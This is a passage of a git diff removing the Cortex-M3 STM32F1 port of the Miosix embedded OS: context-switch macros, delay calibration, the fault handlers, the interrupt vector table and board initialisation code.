why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (9*4=36Bytes) -/// Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR and -/// old sp are saved by hardware on the process stack on Cortex M3 CPUs. -const unsigned char CTXSAVE_SIZE=9; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=32; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index ff81ef898..000000000 --- a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f10x.h before core_cm3.h, there's some nasty dependency -#include "CMSIS/Device/ST/STM32F1xx/Include/stm32f1xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32F1xx/Include/system_stm32f1xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/delays.cpp deleted file mode 100644 index a10392624..000000000 --- a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,159 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - #ifndef __CODE_IN_XRAM - #ifdef SYSCLK_FREQ_72MHz - register const unsigned int count=12000; //Flash 2 wait state - #elif SYSCLK_FREQ_56MHz - register const unsigned int count=9333; //Flash 2 wait state - #elif SYSCLK_FREQ_48MHz - register const unsigned int count=12000; //Flash 1 wait state - #elif SYSCLK_FREQ_36MHz - register const unsigned int count=9000; //Flash 1 wait state - #elif SYSCLK_FREQ_24MHz - register const unsigned int count=8000; //Flash 0 wait state - #else - register const unsigned int count=2678; //Flash 0 wait state - #endif - #else //__CODE_IN_XRAM - //These delays are calibrated on an stm3210e-eval, and are only correct when - //running from ram memories with similar access timings - #ifdef SYSCLK_FREQ_72MHz - register const unsigned int count=1889; //Linear scaling, factor 26.236 - #elif SYSCLK_FREQ_56MHz - register const unsigned int count=1469; - #elif SYSCLK_FREQ_48MHz - register const unsigned int count=1259; - #elif SYSCLK_FREQ_36MHz - register const unsigned int count=945; - #elif SYSCLK_FREQ_24MHz - register const unsigned int count=630; - #else - register const unsigned int count=210; - #endif - #endif //__CODE_IN_XRAM - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32f1_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/portability.cpp deleted file mode 100644 index 0ad91df61..000000000 --- a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,249 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - //NOTE: Cortex M3 differs from Cortex M4/M7 as ctxsave does not contain lr -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 54264f7ed..000000000 --- a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,200 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile("stmdb sp!, {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0, {r1,r4-r11} \n\t" /*save PROCESS sp + r4-r11*/ \ - "dmb \n\t" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0, {r1,r4-r11} \n\t" /*restore r4-r11 + r1=psp*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia sp!, {pc} \n\t" /*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private - -#endif //PORTABILITY_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/core/stage_1_boot.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/core/stage_1_boot.cpp deleted file mode 100644 index e6bdc9cab..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/core/stage_1_boot.cpp +++ /dev/null @@ -1,281 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32 medium density value line devices ONLY (64 and 128KB devices). - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMPER_IRQHandler(); -void __attribute__((weak)) RTC_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel1_IRQHandler(); -void __attribute__((weak)) DMA1_Channel2_IRQHandler(); -void __attribute__((weak)) DMA1_Channel3_IRQHandler(); -void __attribute__((weak)) DMA1_Channel4_IRQHandler(); -void __attribute__((weak)) DMA1_Channel5_IRQHandler(); -void __attribute__((weak)) DMA1_Channel6_IRQHandler(); -void __attribute__((weak)) DMA1_Channel7_IRQHandler(); -void __attribute__((weak)) ADC1_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM15_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM16_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM17_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) CEC_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMPER_IRQHandler, - RTC_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Channel1_IRQHandler, - DMA1_Channel2_IRQHandler, - DMA1_Channel3_IRQHandler, - DMA1_Channel4_IRQHandler, - DMA1_Channel5_IRQHandler, - DMA1_Channel6_IRQHandler, - DMA1_Channel7_IRQHandler, - ADC1_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM15_IRQHandler, - TIM1_UP_TIM16_IRQHandler, - TIM1_TRG_COM_TIM17_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - CEC_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0, - reinterpret_cast(0xF108F85F) - /* @0x1E0. This is for boot in RAM mode for - STM32F10x Medium Value Line Density devices.*/ -}; - -#pragma weak SysTick_Handler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMPER_IRQHandler = Default_Handler -#pragma weak RTC_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel1_IRQHandler = Default_Handler -#pragma weak DMA1_Channel2_IRQHandler = Default_Handler -#pragma weak DMA1_Channel3_IRQHandler = Default_Handler -#pragma weak DMA1_Channel4_IRQHandler = Default_Handler -#pragma weak DMA1_Channel5_IRQHandler = Default_Handler -#pragma weak DMA1_Channel6_IRQHandler = Default_Handler -#pragma weak DMA1_Channel7_IRQHandler = Default_Handler -#pragma weak ADC1_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM15_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM16_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM17_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak CEC_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/interfaces-impl/bsp.cpp deleted file mode 100644 index 3673cac4d..000000000 --- a/miosix/arch/cortexM3_stm32f1/stm32f100c8_microboard/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,199 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2017 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** - * bsp.cpp Part of the Miosix Embedded OS. - * Board support package, this file initializes hardware. - ************************************************************************/ - -#include -#include -#include "interfaces/bsp.h" -#include "interfaces/delays.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/stm32_rtc.h" -#include "board_settings.h" - -using namespace std; - -namespace miosix { - -// -// PVD driver -// - -static void configureLowVoltageDetect() -{ - PWR->CR |= PWR_CR_PVDE //Low voltage detect enabled - | PWR_CR_PLS_1 - | PWR_CR_PLS_0; //2.5V threshold -} - -bool lowVoltageCheck() -{ - return 